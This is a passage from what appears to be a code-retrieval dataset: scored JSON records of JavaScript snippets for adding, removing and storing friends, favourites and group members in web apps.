"score": "0.49210468", "text": "function addFriend (name, object) {\n object.friends.push(name);\n return object;\n}", "title": "" }, { "docid": "0180593f521206dc56f0f04cb246d24f", "score": "0.49210468", "text": "function addFriend (name, object) {\n object.friends.push(name);\n return object;\n}", "title": "" }, { "docid": "970af0cb2c2e344183a7f3b1329d4c06", "score": "0.49197924", "text": "invite(friend){\n for (var i = 0; i < this.state.friends.length; i++) {\n if (friend.name === this.state.friends[i].name) {\n return alert('Friend already invited')\n }\n }\n this.state.friends.push(friend)\n this.setState({\n friends: this.state.friends\n })\n }", "title": "" }, { "docid": "144e776b8087dc83e34a4235eb323143", "score": "0.49191126", "text": "function addFriend (name, object) {\nobject.friends.push(name);\nreturn object;\n \n}", "title": "" }, { "docid": "7b800a68bd42a35d2e1b3af52e09d173", "score": "0.49108216", "text": "function addFriend (name, object) {\n object.friends.push(name);\n \n return object;\n\n}", "title": "" }, { "docid": "da44ce3fc83f258955c5f0f903d65cb0", "score": "0.49013662", "text": "function removeFriend(myEmail,friendEmail) {\n var source;\n var flag=true ;\n mongoose.model(\"users\").update({\"email\":myEmail},{$pull:{\"friend\":friendEmail}},function(err){\n source=err;\n if(err)\n flag=false\n });\n while(source === undefined) {\n require('deasync').runLoopOnce();\n }\n return flag;\n}", "title": "" }, { "docid": "4fc70bb3a386951997bd784d33ffca5c", "score": "0.4883245", "text": "function removeFriend(userID) {\n db.collection('users').doc(getUserID()).update({\n friends: firebase.firestore.FieldValue.arrayRemove(userID)\n }).then(() => {\n db.collection('users').doc(userID).update({\n friends: firebase.firestore.FieldValue.arrayRemove(getUserID())\n }).then(() => {\n (bootstrap.Modal.getInstance(document.getElementById('player-info-screen'))).hide();\n showPlayerInfo(userID); \n })\n })\n}", "title": "" }, { "docid": "578fabdccdd0f59508a7309e15524986", "score": "0.4874078", "text": "_findUnique (blockId, seen, newData, row, i, columns) {\n const thisValue = tbGet(blockId, row, i, columns[0])\n const otherColumns = columns.slice(1)\n if (otherColumns.length === 0) {\n if (! seen.has(thisValue)) {\n seen.set(thisValue, true)\n newData.push(row)\n }\n }\n else {\n if (! seen.has(thisValue)) {\n seen.set(thisValue, new Map())\n }\n this._findUnique(blockId, seen.get(thisValue), newData, row, i, otherColumns)\n }\n }", "title": "" }, { "docid": "e361d46451c6352b9f729fd54b223f25", "score": "0.4857149", "text": "function addFriend (name, object) {\n object.friends.push(name);\n\n return object;\n}", "title": "" }, { "docid": "74c421c7fe293417cf42e16703d3e257", "score": "0.48467878", "text": "function add_to_users(nickname){\n // if nickname doesn't exist\n if(current_users.indexOf(nickname) == -1){\n // add new nickname to the list and return true\n current_users.push(nickname);\n return true;\n }\n else{\n return false;\n }\n}", "title": "" }, { "docid": "95734210ff98da80e1009584d4a6f52b", "score": "0.48375458", "text": "function addFriend(name,object){\n object.friends.push(name)\n return object;\n}", "title": "" }, { "docid": "c0a327427376b27b61e8cc4b6c2cc9ab", "score": "0.4836915", "text": "static insertToGlobal(newEdge) {\n for (let i in edge.globalEdges) {\n if (edge.globalEdges[i].equals(newEdge)) {\n return;\n }\n }\n edge.globalEdges.push(newEdge);\n }", "title": "" }, { "docid": "8f3a4ded3f0b5abf735ebc91fe5ea72c", "score": "0.48288223", "text": "function loadFriends () {\n return new Promise(function (resolve, reject) {\n // TODO - don't query storage on every mutate. Cache internally?\n chrome.storage.sync.get(['friends'], function (items) {\n if (chrome.runtime.lastError) {\n return reject(chrome.runtime.lastError);\n }\n\n if (JSON.stringify(items.friends) === JSON.stringify({})) {\n items.friends = [];\n }\n\n resolve(new Set(items.friends));\n });\n });\n}", "title": "" }, { "docid": "83cb2853015bc4387b8489e1c500b5dd", "score": "0.482713", "text": "function updateFriendList() \r\n {\r\n try\r\n { \r\n if( friendsForUpdate == null )\r\n {\r\n return;\r\n }\r\n \r\n var i = 0;\r\n var f = null;\r\n \r\n // Add any new friends to the list\r\n for(i =0;i<friendsForUpdate.length;i++) \r\n {\r\n f = getFriendObject( friendsForUpdate[i].WebMemberID );\r\n \r\n // if the friend doesn't already exist\r\n if( f == null )\r\n { \r\n showFriendInList(friendsForUpdate[i].WebMemberID,friendsForUpdate[i].NickName,friendsForUpdate[i].OnlineStatus);\r\n }\r\n }\r\n \r\n // Remove any deleted friends from the list\r\n for(i =0;i<friends.length;i++) \r\n {\r\n f = getFriendsForUpdateObject ( friends[i].WebMemberID );\r\n \r\n // if the friend doesn't exist in the updated friend list \r\n // then he/she has been unfriended\r\n // So remove from the list\r\n if( f == null )\r\n { \r\n removeFriendFromList(friends[i].WebMemberID);\r\n }\r\n }\r\n \r\n friends = friendsForUpdate;\r\n }\r\n catch(ex){}\r\n }", "title": "" }, { "docid": "249340dcf067bf61a3d16a17456751cf", "score": "0.48183942", "text": "handleAddFriend() {\n \t let user_request = window.localStorage.getItem(\"user_id\");\n \t\tif (user_request != null) {\n \t\t\tlet profileId = this.props.match.params.id;\n \t\t\taxios.post(constant.MOVI3HALL_BASE_API + \"api/user/add_friend/?userId=\"\n + user_request + \"&friendId=\" + profileId)\n \t\t\t.then(function (response) {\n\n \t\t\t\tlet isSuccess = response.data.isSuccess;\n \t\t\t\tif (isSuccess) {\n \t\t\t\t\twindow.alert(\"Successfully Added Friend\");\n \t\t\t\t\twindow.location.reload();\n \t\t\t\t} else {\n \t\t\t\t\tif (response.data.message != null) {\n \t\t\t\t\t\twindow.alert(response.data.message);\n \t\t\t\t\t} else {\n \t\t\t\t\t\twindow.alert(\"There was an error :(\");\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t})\n \t\t\t.catch(function (e) {\n \t\t\t\twindow.alert(\"There was an error :( \");\n \t\t\t});\n \t\t}\n }", "title": "" }, { "docid": "edadc3e6101998ec8e9c4fe36e94a5f3", "score": "0.4810421", "text": "function markDuplicates(grid, globalGrid, i, j) {\n if (grid.has(globalGrid[i][j])) {\n grid.set(globalGrid[i][j], 2)\n } else {\n grid.set(globalGrid[i][j], 1);\n }\n}", "title": "" }, { "docid": "f86445b662a8121bec732725a934848b", "score": "0.480853", "text": "function addFav(icon, name, vicinity, placeId){\n if(localStorageFlag){\n /* Avoid add favourite place twice. */\n var found = checkExist(placeId);\n if(found != null && found.length != 0 && found[0].place_id == placeId){\n var favList = JSON.parse(localStorage.favList);\n favList= favList.filter(function(data){\n return data.place_id != placeId;\n });\n\n localStorage.favList = JSON.stringify(favList);\n\n $(\"#favBtn_\" + placeId).toggleClass('far fa-star');\n $(\"#favBtn_\" + placeId).css(\"color\", \"\");\n return;\n }\n\n var favPlace = new Object();\n var list;\n favPlace.icon = icon;\n favPlace.name = name;\n favPlace.vicinity = vicinity;\n favPlace.place_id = placeId;\n\n if(localStorage.favList.length == 0 || JSON.parse(localStorage.favList).length == 0){\n list = new Array();\n }else{\n list = JSON.parse(localStorage.favList);\n }\n list.push(favPlace);\n localStorage.favList = JSON.stringify(list);\n\n $(\"#favBtn_\" + placeId).css(\"color\", \"#FDD444\").toggleClass(\"fas fa-star\");\n }else{\n alert(\"Sorry, your browser does not support favourite list function...\");\n }\n}", "title": "" }, { "docid": "dfadfe6b11a5100c78a022c1e38fb273", "score": "0.47999558", "text": "function addFriend (name, object) {\n//name must be added to friends array in an object\nobject.friends.push(name);\nreturn object\n}", "title": "" }, { "docid": "0e86ec9ae49b44ca0c7beac9cccc0649", "score": "0.4799848", "text": "function manageFavorite(id) {\n const profile = data.find(item => item.id === Number(id))\n\n if (myFavoriteListData.some(item => item.id === Number(id))) {\n const index = myFavoriteListData.findIndex(item => item.id === Number(id))\n if (index === -1) return\n myFavoriteListData.splice(index, 1)\n localStorage.setItem('myFavoriteList', JSON.stringify(myFavoriteListData))\n } else {\n myFavoriteListData.push(profile)\n }\n localStorage.setItem('myFavoriteList', JSON.stringify(myFavoriteListData))\n\n }", "title": "" }, { "docid": "651bcb07a0b06aba62aad8b805ade011", "score": "0.4793968", "text": "function addFriend (name, object) {\n // console.log(name, object);\n // if \n if(!name){\n return object;\n }else if(name.length > 0){\n object['friends'].push(name);\n }\n \n return object;\n}", "title": "" }, { "docid": "6552d93950d5b2025325da94ae3f62da", "score": "0.47873932", "text": "function addFriend (name, object) {\nobject[\"friends\"].push(name);\nreturn object;\n}", "title": "" }, { "docid": "fa6a90294e93d3205cf3ba0100fad7bc", "score": "0.47828293", "text": "function addFriend(data, bofffFriends)\n{\n\tvar bofffsList = [];\n\tvar xhr = Ti.Network.createHTTPClient(\n\t{\n\t onload: function(e) \n\t {\n\t \tvar response = JSON.parse(this.responseText);\n\t \tbofffsList=response.rows;\n\t \t\n\t \t//alert(bofffsList);\n\t \t\n\t \tif(bofffsList.length>0)\n\t \t{\n\t\t \t//This is to sort the bofffs alphabetically\n\t\t \tbofffsList.sort(sortBofffs);\n\t\t \t// TODO: Adding the bofffLists (friends from my prespective)\n\t\t \t\n\t\t \t// TODO: Study bofffsSpecificData well :D\n\t\t \tTitanium.App.Properties.setObject(\"bofffsSpecificData\", bofffsList);\n\t\t \tinitializeBofffsList(bofffFriends,bofffsList);\n\t \t}\n\t \t\n\t\t},\n\t onerror: function(e) \n\t {\n\t \talert(this.responseText);\n\t },\n\t});\n\t\n\txhr.open(\"POST\", Alloy.Globals.apiUrl + \"insert_friend/bofff/user_friends\");\n\tvar params =\n\t{\n\t\tfriends: JSON.stringify(data),\n\t};\n\txhr.send(params); // request is actually sent with this statement\n}", "title": "" }, { "docid": "7e04289dcf800d7024f0c351b631c3e9", "score": "0.47685933", "text": "function addToHash(row) {\n if(row.parent == row.id) {\n // then we got parent job, add it to the start of list\n if (!rows[row.id]) {\n rows[row.id] = [];\n }\n rows[row.id].unshift(row);\n } else {\n // we got child, add this to the end of list\n if (!rows[row.parent]) {\n rows[row.parent] = [];\n }\n rows[row.parent].push(row);\n }\n }", "title": "" }, { "docid": "0bb683e48037bcdab6e441ed5c6c877e", "score": "0.47549456", "text": "function addNewFavourite(item){\n if(!userFavourites.some(card => card.name === item.name)){\n setUserFavourites([item , ...userFavourites]);\n }\n }", "title": "" }, { "docid": "5786293eb5eda548a06ed55fb85ebaa3", "score": "0.4744522", "text": "function addFriend(event) {\n event.preventDefault()\n const token = localStorage.getItem('token')\n axios.post(`/api/users/${id}`, '', {\n headers: { Authorization: `Bearer ${token}` }\n })\n .then(resp => {\n updateRequested(true)\n })\n }", "title": "" }, { "docid": "ab255d7279e95c31e891b4a4971461d5", "score": "0.47428206", "text": "function openAddFriends(user_id, friends_to_add) {\n var friends_list;\n // user_id = '53ccbe9d04b7747717fcdfdf'; //change\n $.get('http://app.grasscat.org/get_friends', {user_id : user_id})\n .done(function(data) {\n var data = JSON.parse(data);\n var friends_list = {};\n $.each(data, function(id, friend) {\n if(friend) {\n friends_list[id] = {name : friend['name'], pic_url : friend['pic_url']};\n }\n });\n $('#add_friends_body').html(AddFriendsTemplate({friends : friends_list}));\n\n // toggle friends already added to list\n $('.js-add-friend').each(function() {\n var friend = $('.js-friend', this);\n if (friend.data('id') in friends_to_add) {\n $('.friend_add_icon', this).toggle();\n }\n });\n\n // bind add friend action to each friend\n $('.js-add-friend').on('click', function(event) {\n event.preventDefault();\n updateFriend($(this), friends_to_add);\n });\n\n // show modal\n $('#js-add-friends-modal').modal();\n });\n}", "title": "" }, { "docid": "3d8888e3f1956e9df1548b0a6bed5497", "score": "0.4742685", "text": "addCellToUnvisited(cell, neighborCell, unvisited) {\n super.addCellToUnvisited(cell, neighborCell, unvisited);\n this.setCellSet(neighborCell, cell.pathData.set);\n }", "title": "" }, { "docid": "b995548310c3d1420319fa20147e6e56", "score": "0.47300288", "text": "static updateUser(update) {\n const users = Store.getUsers();\n users.forEach((user, index) => {\n if (user.id === update.id) {\n users.splice(index, 1, update);\n } else {\n //DO NOTHING\n }\n });\n localStorage.setItem(\"users\", JSON.stringify(users));\n }", "title": "" }, { "docid": "c71986a55f7ba07256393d890d8df5f7", "score": "0.47287896", "text": "function addFriend(mate, array) {\n\tarray[array.length] = mate; \n\treturn array; \n}", "title": "" }, { "docid": "7c43a2d6c286e7f5cd27224f08ed82a4", "score": "0.47276053", "text": "function updateAcceptNotification(guid, friendGuid, action) {\n\n console.log(\"updateNotification, guid: \" + guid + \" friendGuid: \" + friendGuid);\n\n if (action == FriendAction.Accept) {\n \n\n var notificationSql = \"SELECT `id`, `guid` FROM `notifications` WHERE (`guid` = ? AND `fguid` = ? AND `type` = ?) OR (`guid` = ? AND `fguid` = ? AND `type` = ?)\";\n \n connection.query({\n sql: notificationSql,\n values: [ friendGuid, guid, NotificationType.SentFriendRequest, guid, friendGuid, NotificationType.ReceivedFriendRequest ]\n }, \n\n function (err, results) {\n if (err) {\n // Rollback on failure\n\n connection.rollback(function() {\n printError(err);\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n });\n } \n if (results && results.length == 2) {\n\n console.log(\"updateNotification results results[0].id\" + results[0].id);\n\n\n \t var userIds = getUserNotificationIds(results, guid, friendGuid);\n\n var mynotificationId = userIds.id;\n var friendNotificationId = userIds.fId;\n\n // What are we gonna do here????\n \n // var updateNotification = 'INSERT INTO `notifications` (guid, id, fguid, type) VALUES ? ON DUPLICATE KEY UPDATE type = VALUES(type)';\n\n var updateNotification = \"UPDATE `notifications` SET type = ? WHERE guid = ? AND id = ?\";\n \n connection.query({\n sql: updateNotification,\n values: [ NotificationType.FriendAcceptedRequest, friendGuid, friendNotificationId ]\n // [[\n // [ guid, myId, friendGuid, NotificationType.FriendAcceptedRequest ],\n // [friendGuid, myId, guid, NotificationType.FriendAcceptedRequest ]\n // ]]\n }, \n\n function (err, results) {\n if (err) {\n // Rollback on failure\n connection.rollback(function() {\n printError(err);\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n });\n } \n if (results.affectedRows > 0) {\n\n console.log(\"updateNotifications result.affectedRows > 0\");\n\n // Commit queries\n connection.commit(function(err) {\n if (err) {\n // Failed to commit queries. Rollback on failure\n connection.rollback(function() {\n printError(err);\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n });\n } else {\n console.log('successful commit!');\n\n\n finalAppResponse( friendActionResponse( \n true, PublicStatus.Friends)\n );\n }\n });\n } else {\n console.log(\"No rows affected?\");\n connection.rollback(function() {\n printError(err);\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n });\n }\n });\n } else {\n connection.rollback(function() {\n printError(err);\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n });\n }\n });\n }\n }", "title": "" }, { "docid": "1cddcf5651d63601f3d5c7a74a0e76ff", "score": "0.47211453", "text": "function populateContacts(friends) {\n\tif (friends.length == 0) {\n\t\tdisplayFriendMessage(\"Oh no, you have no friends :( Add some today!\");\n\t} else {\n\t\tdisplayFriendMessage(\"\");\n\t\tvar tableBody = document.getElementById(\"friends-table-body\");\n //tableBody.innerHTML = \"\";\n\t\tfor (var i=0; i<friends.length; i++) {\n\t\t\taddFriendshipRow(friends[i]);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bfb8053aaae19566b5c44f43197433f9", "score": "0.47155118", "text": "addFriend(e) {\n if (this._inputElement.value !== \"\") {\n var newItem = {\n text: this._inputElement.value,\n key: Date.now(),\n isFavourite: false\n };\n\n this.setState((prevState) => {\n return {\n items: prevState.items.concat(newItem)\n };\n }\n )\n }\n this._inputElement.value = \"\";\n e.preventDefault();\n }", "title": "" }, { "docid": "4f75066e34de99e843be05b47f919210", "score": "0.4714229", "text": "function removeMember(username) {\n if(existingUsers.indexOf(username) == -1) {\n return;\n }\n\n var id = $(\"#row_\" + username).data(\"sid\");\n\n // If they meet the search criteria. Add them back to the search list.\n if(username.toLowerCase().indexOf($(\"#username\").val()) >= 0) {\n $(\"#possible_members > tbody\").append('<tr id=\"possible_' + id + '\"><td>' + username + '</td><td><button id=\"possible_button_' + id + '\" data-username=\"' + username + '\" data-id=\"' + id + '\">Add To Group</button></td></tr>');\n $(\"#possible_button_\" + id).on(\"click\", addToGroup);\n }\n\n // Remove from table and list of users\n $(\"#row_\" + username).remove();\n removeElementFromArray(existingUsers, username);\n}", "title": "" }, { "docid": "a1814931727530229302ca9fd3293a82", "score": "0.47016665", "text": "function addFriendInvite(uid, name) {\n\tvar repeated = false;\n\t//Não adicionar repetido\n\t$('#toInvite li').each(function(index) {\n\t\tif (uid == this.firstElementChild.value)\n\t\t\trepeated = true;\n\t});\n\tif (repeated) return;\n\tvar li = '<li class=\"toInviteFriend\">' + name + '<input type=\"hidden\" value=\"' + uid + \n\t\t'\"/><a onclick=\"removeFriendInvite(this.parentNode);\">x</a></li>';\n\t$('#toInvite').append(li);\n}", "title": "" }, { "docid": "56083b2e976ffb3f86dc2a09a404969d", "score": "0.46960458", "text": "function addLocal(){\n if (userdata.mix.includes(answer)){\n console.log(\"don't add\")\n }\n else {\n console.log('add')\n userdata.mix.push(answer)\n const json = JSON.stringify(userdata)\n // Save to localStorage\n localStorage.setItem(\"don't_mix_that\", json)\n }\n\n}", "title": "" }, { "docid": "e45b336cda0a06aee88b4e1db00f0cd9", "score": "0.4694821", "text": "function addEntryToUserEntries(entryInfo) {\n // Add entry to USER_ENTRIES. First checks to make sure entry isn't in USER_ENTRIES already.\n let newEntry = true;\n for (let entry in USER_ENTRIES) {\n if (entry[`entryId`] === entryInfo[`entryId`]) {\n newEntry = false;\n }\n }\n if (newEntry === true) {\n USER_ENTRIES.push(entryInfo);\n }\n }", "title": "" }, { "docid": "b27fbf86b14984a385ddf0832a6a9368", "score": "0.46854484", "text": "function removeFromFavoritesList(elem) {\n var favoriteThisLocation = parseInt($(elem).closest(\"[data-search-location-id]\").data(\"search-location-id\"));\n favoriteLocations = arrayRemove(favoriteLocations, favoriteThisLocation);\n localStorageFavoritesUpdateWithItem();\n $(elem).attr(\"onclick\", \"addToFavoritesList(this);\").text(\"Add to Favorites\");\n console.log(\"favoriteLocations:\", favoriteLocations, \"Removed -\");\n updateFavoritesListDisplay();\n}", "title": "" }, { "docid": "169fc1f8dc4bfc7b69933df23311f200", "score": "0.4680644", "text": "function AddFriendToFriendScores(friendId,friendName,profilePic) {\n try \n {\n //WaitForFriendScoresToFinishProcessing(); //wait until there is no other process updating the friendscores ( these scores are usually updated via a lightStreamer message indicating that a friend has placed a bet)\n var friendScores;\n try {\n friendScores = JSON.parse(window.sessionStorage.getItem(\"listOfFriendsScores\"));\n } catch (TempEx) { }\n\n if (friendScores == null) {\n friendScores = new Array();\n }\n\n //here\n var tempLeaderboardItem = new Leaderboard();\n tempLeaderboardItem.F = friendId;\n tempLeaderboardItem.S = 0; //as user has just joined the game their credits will be 0\n tempLeaderboardItem.U = friendName;\n tempLeaderboardItem.I = profilePic; //added profilePic - 30-Nov-12\n if (IsUserAlreadyInFriendsLeaderBoard(friendId) == 0) {\n friendScores.push(tempLeaderboardItem);\n\n //now update the friendsList in sessionStorage\n window.sessionStorage.setItem(\"listOfFriendsScores\", $.toJSON(friendScores));\n ReOrderFriendsScoresBasedOnCurrentScore();\n }\n }\n catch (ex) \n { \n logError(\"AddFriendToFriendScores\", ex);\n }\n FinishedProcessingFriendScores();\n}", "title": "" }, { "docid": "f22b7217317f6681086edbe2d4e88e15", "score": "0.4678871", "text": "function addToGroup(e) {\n e.preventDefault();\n\n var id = $(this).data(\"id\");\n var username = $(this).data(\"username\");\n\n $(\"#possible_\" + id).remove();\n\n // Don't let them be duplicated\n if(existingUsers.indexOf(username) != -1) {\n alert(username + \" is already a member of the group.\");\n $(\"#add_member\").removeAttr(\"disabled\");\n return;\n }\n\n // Add a link to remove them\n existingUsers.push(username);\n var removeLink = \"javascript:removeMember('\" + username + \"')\";\n $(\"#members > tbody\").append('<tr data-sid=\"' + id + '\" id=\"row_' + username + '\"><td>' + username + '</td><td><a class=\"removeLinks\" href=\"' + removeLink + '\">Remove</a></td></tr>');\n $(\"#add_member\").removeAttr(\"disabled\");\n}", "title": "" }, { "docid": "ce96d8653e4d997497571eaab5e906ae", "score": "0.46739262", "text": "function sendFriendRequest(guid, friendGuid, overrideRequest) {\n\n // If user has\n connection.query({\n sql: 'SELECT `auto_accept_friends` FROM `user_settings` WHERE guid = ?',\n values: [ guid ]\n }, \n function (err, results) {\n if (err) { \n printError(err);\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n } else { \n // If auto accept allowed\n if (results && results.length > 0 && results[0].auto_accept_friends == 1) {\n\n connection.beginTransaction(function(err) {\n if (err) { \n console.log('Error:', JSON.stringify(err, null, 2));\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n } else {\n \n console.log(\"sendFriendRequest start\", guid, friendGuid, overrideRequest);\n\n var sql = 'INSERT INTO `friends` (`guid1`, `guid2`, `status`) VALUES ?';\n\n\n /*\n * 'INSERT INTO `friends` (guid1, guid2, status) \\\n VALUES ? \\\n ON DUPLICATE KEY UPDATE status = VALUES(status)'\n */\n\n if (overrideRequest) {\n sql = 'INSERT INTO `friends` (`guid1`, `guid2`, `status`) VALUES ? ON DUPLICATE KEY UPDATE `status` = VALUES(status)';\n } \n\n console.log(\"sendFriendRequest start: sql statement: \" + sql);\n\n \n // See if there is a relationship already\n connection.query({\n sql: sql,\n values: [\n [\n [guid, friendGuid, Relationships.FriendAcceptedRequest], // SentFriendRequest\n [friendGuid, guid, Relationships.AcceptedFriendRequest] //ReceivedFriendRequest\n ]\n ]\n }, \n function (err, results) {\n console.log(\"sendFriendRequest function\");\n\n if (err) {\n \n // Rollback on failure\n connection.rollback(function() { \n printError(err);\n //TODO: figure out relationship\n if (err.code == \"ER_DUP_ENTRY\" && maxRetries > 0) {\n maxRetries -= 1;\n checkFriendRelationship(guid, friendGuid);\n } else {\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n } \n }); \n } else {\n console.log(\"will call sendNotifications\");\n autoAcceptNotification(guid, friendGuid, PublicStatus.Friends, false);\n }\n });\n }\n });\n } else {\n // Send a request\n connection.beginTransaction(function(err) {\n if (err) { \n console.log('Error:', JSON.stringify(err, null, 2));\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n } else {\n \n console.log(\"sendFriendRequest start\", guid, friendGuid, overrideRequest);\n\n\n var sql = 'INSERT INTO `friends` (`guid1`, `guid2`, `status`) VALUES ?';\n\n\n /*\n * 'INSERT INTO `friends` (guid1, guid2, status) \\\n VALUES ? \\\n ON DUPLICATE KEY UPDATE status = VALUES(status)'\n */\n\n if (overrideRequest) {\n sql = 'INSERT INTO `friends` (`guid1`, `guid2`, `status`) VALUES ? ON DUPLICATE KEY UPDATE `status` = VALUES(status)';\n } \n\n console.log(\"sendFriendRequest start: sql statement: \" + sql);\n\n \n // See if there is a relationship already\n connection.query({\n sql: sql,\n values: [\n [\n [guid, friendGuid, Relationships.SentFriendRequest],\n [friendGuid, guid, Relationships.ReceivedFriendRequest]\n ]\n ]\n }, \n function (err, results) {\n console.log(\"sendFriendRequest function\");\n\n if (err) {\n \n // Rollback on failure\n connection.rollback(function() { \n \n printError(err);\n\n //TODO: figure out relationship\n\n if (err.code == \"ER_DUP_ENTRY\" && maxRetries > 0 ) {\n maxRetries -= 1;\n checkFriendRelationship(guid, friendGuid);\n } else {\n finalAppResponse(errorResponse( ErrorMessageGeneric));\n } \n }); \n } else {\n console.log(\"will call sendNotifications\");\n\n sendNotifications(guid, friendGuid, PublicStatus.Friends, false);\n }\n });\n }\n });\n }\n }\n });\n }", "title": "" }, { "docid": "7458ec40310d9b9f71e05b1aff0e4373", "score": "0.46533117", "text": "function addLisfriend(uid, uname, ufirst, ulast, ulogo, ubirth, usex, uphone, udes, ustatus, utimeof, cid){\n // jsonArrYourFriend.push({\n // \"info\" : arr,\n // \"c_id\" :id_roomz\n // });\n\n jsonArrYourFriend.push({\n \"u_id\": uid,\n \"u_name\": uname,\n \"u_first_name\": ufirst,\n \"u_last_name\": ulast,\n \"u_logo\": ulogo,\n \"u_birth_day\": ubirth,\n \"u_sex\": usex,\n \"u_phone_number\": uphone,\n \"u_description\": udes,\n \"u_status\": ustatus,\n \"u_time_off\": utimeof,\n \"c_id\": cid\n });\n }", "title": "" }, { "docid": "5cba403290e2f033a0de5f309dcc7c7d", "score": "0.4646004", "text": "function addLikeToProfile(req, newLike) {\n return User.findOne({ \"userID\": req.user.id }, (error, change) => {\n for ( let i = 0; i < change.songLikes.length; i++ ) {\n if (change.songLikes[i] == newLike) {\n return;\n }\n }\n change.songLikes.push(newLike);\n change.save();\n })\n}", "title": "" }, { "docid": "2f004731262642d15af62a1e206161f7", "score": "0.4643121", "text": "function addFriends(){\n FB.api(\"/me/friends\", {fields: 'id, gender, first_name, last_name, email, likes, age_range, birthday, picture.width(100).height(100)'}, function(response) {\n response.data.forEach(function(friend) {\n friends.push(friend);\n\n if (typeof(Storage) !== \"undefined\") {\n localStorage.setItem(\"friends\", JSON.stringify(friends));\n } else {\n console.log(\"Local storage not supported.\");\n }\n });\n\n window.location = \"gen.html\";\n });\n}", "title": "" }, { "docid": "7637eea283728bdd42792675790c786b", "score": "0.46423066", "text": "async function addToRecommendations(userID, gameID){\n if (gameID !== undefined) \n {\n const recommendationsObj = await query.execAny('*', 'user_recommendations', 'userID = $1 AND gameID = $2', [userID, gameID]);\n // check if user already has game in recommendation list\n\n if (recommendationsObj.length !== 0) \n {\n return 0;\n } \n else \n {\n await query.insertInto('user_recommendations', '($1, $2)', [userID, gameID]);\n return 0;\n }\n } \n else \n {\n return -1;\n }\n}", "title": "" }, { "docid": "d9c997c6072723e5abd8d8d7fa1d72ad", "score": "0.4630936", "text": "function addAFavorite(req, res) {\n console.log(req.body);\n db.FavoriteList.findOne({ _creator: req.user._id }, function(err, favoritelist) {\n if (err) return console.log(\"error: \" + err);\n favoritelist.champion.push(req.body.champion);\n favoritelist.save(function(err) {\n if (err) return console.log(err);\n\n db.User.findOne({ _id: favoritelist._creator }, function(err, user) {\n if (err) return console.log(\"error: \" + err);\n var userFavorites = favoritelist.champion;\n user.favorites = userFavorites;\n console.log(userFavorites);\n user.save(function(err) {\n if (err) return console.log('error: ' + err);\n });\n });\n res.send(favoritelist);\n });\n });\n}", "title": "" }, { "docid": "116922f776310b084c79dec384a99ea6", "score": "0.46233216", "text": "function addFriend(_id, friendId, friend, finished) {\n\n\n mongoose.connect(mongoUrl, startAddFriendPipeline);\n\n\n function startAddFriendPipeline(err) {\n if (err) {\n console.log(err);\n finished(false);\n } else {\n insertFriend();\n }\n };\n\n function insertFriend() {\n var conditions = { _id: _id };\n var update = { $push: { friends: { friendId: friendId, username: friend } } };\n var options = {};\n Person.update(conditions, update, options, friendAdded);\n };\n\n function friendAdded(err) {\n if (err) {\n console.log(err);\n database.disconnectHandler(mongoose, finished, null, false);\n } else {\n database.disconnectHandler(mongoose, finished, null, true);\n }\n };\n\n}", "title": "" }, { "docid": "a32aac1bd742082918562512ea4a52d4", "score": "0.46221364", "text": "function deletePersonsGroup() {\n //capture row value from button input\n rowNumber = $(this).val();\n var rowValue = '#tr' + rowNumber;\n individualsId = library_personGroups_persons[rowNumber];\n\n //delete rowValue from array\n library_personGroups_groups.splice(rowNumber, 1);\n library_personGroups_persons.splice(rowNumber, 1);\n\n //if person no longer is any groups, put them in uassigned\n assignNAtoPersonsGroups();\n\n //update local storage\n window.localStorage.setItem('library_personGroups_groups_local', JSON.stringify(library_personGroups_groups));\n window.localStorage.setItem('library_personGroups_persons_local', JSON.stringify(library_personGroups_persons));\n\n // delete all rows with persons in them\n for (i = 0; i < library_personGroups_groups.length + 1; i++) {\n var rowValue = '#tr' + i;\n $(rowValue).remove();\n }\n // delete all table group headers\n for (j = 0; j < library_groups.length; j++) {\n var classGroup = '.table' + library_groups[j];\n $(classGroup).remove();\n $('#trAdd').remove();\n }\n\n //then reload all rows and persons\n loadPersons();\n }", "title": "" }, { "docid": "d139e812152aa249a997b98713a72c4b", "score": "0.46168938", "text": "function updateUserData() {\n let obj = {};\n obj[\"name\"] = document.getElementById(\"name\").value;\n obj[\"dob\"] = document.getElementById(\"dob\").value;\n obj[\"city\"] = document.getElementById(\"city\").value;\n obj[\"interests\"] = document.getElementById(\"interest\").value;\n obj[\"age\"] = calculateAge(document.getElementById(\"dob\").value);\n\n id = selectedRow.rowIndex;\n let temp = users;\n temp.splice(id - 1, 1, obj);\n localStorage.setItem(\"userTable\", JSON.stringify(temp));\n showUserTable();\n}", "title": "" }, { "docid": "caa98de29b630174290eedea6cbbe5e2", "score": "0.46136004", "text": "function addFriend (name, object) {\n//input: a name and an object\n//output: add the name to the object's friends array then return the object\n\nobject.friends.push(name);\nreturn object;\n}", "title": "" }, { "docid": "cd8fcd08241b4f3de80277effc37031e", "score": "0.46111187", "text": "function likein(){\n let parantId = this.parentElement.parentElement.id;\n let findTweeData = data.find(x => x.id ===parantId);\n\n if(findTweeData &&findTweeData.likeUser.indexOf(userNameLogin) ===-1){\n findTweeData.likeUser.push(userNameLogin);\n }else if(findTweeData &&findTweeData.likeUser.indexOf(userNameLogin) !==-1){\n findTweeData.likeUser.splice(findTweeData.likeUser.findIndex(x => x===userNameLogin),1)\n }\n createTweets(data);\n}", "title": "" }, { "docid": "45821202e0c2eb338589cacd3f975483", "score": "0.45838776", "text": "add(pair, overwrite) {\n let _pair;\n if (identity.isPair(pair))\n _pair = pair;\n else if (!pair || typeof pair !== 'object' || !('key' in pair)) {\n // In TypeScript, this never happens.\n _pair = new Pair.Pair(pair, pair?.value);\n }\n else\n _pair = new Pair.Pair(pair.key, pair.value);\n const prev = findPair(this.items, _pair.key);\n const sortEntries = this.schema?.sortMapEntries;\n if (prev) {\n if (!overwrite)\n throw new Error(`Key ${_pair.key} already set`);\n // For scalars, keep the old node & its comments and anchors\n if (identity.isScalar(prev.value) && Scalar.isScalarValue(_pair.value))\n prev.value.value = _pair.value;\n else\n prev.value = _pair.value;\n }\n else if (sortEntries) {\n const i = this.items.findIndex(item => 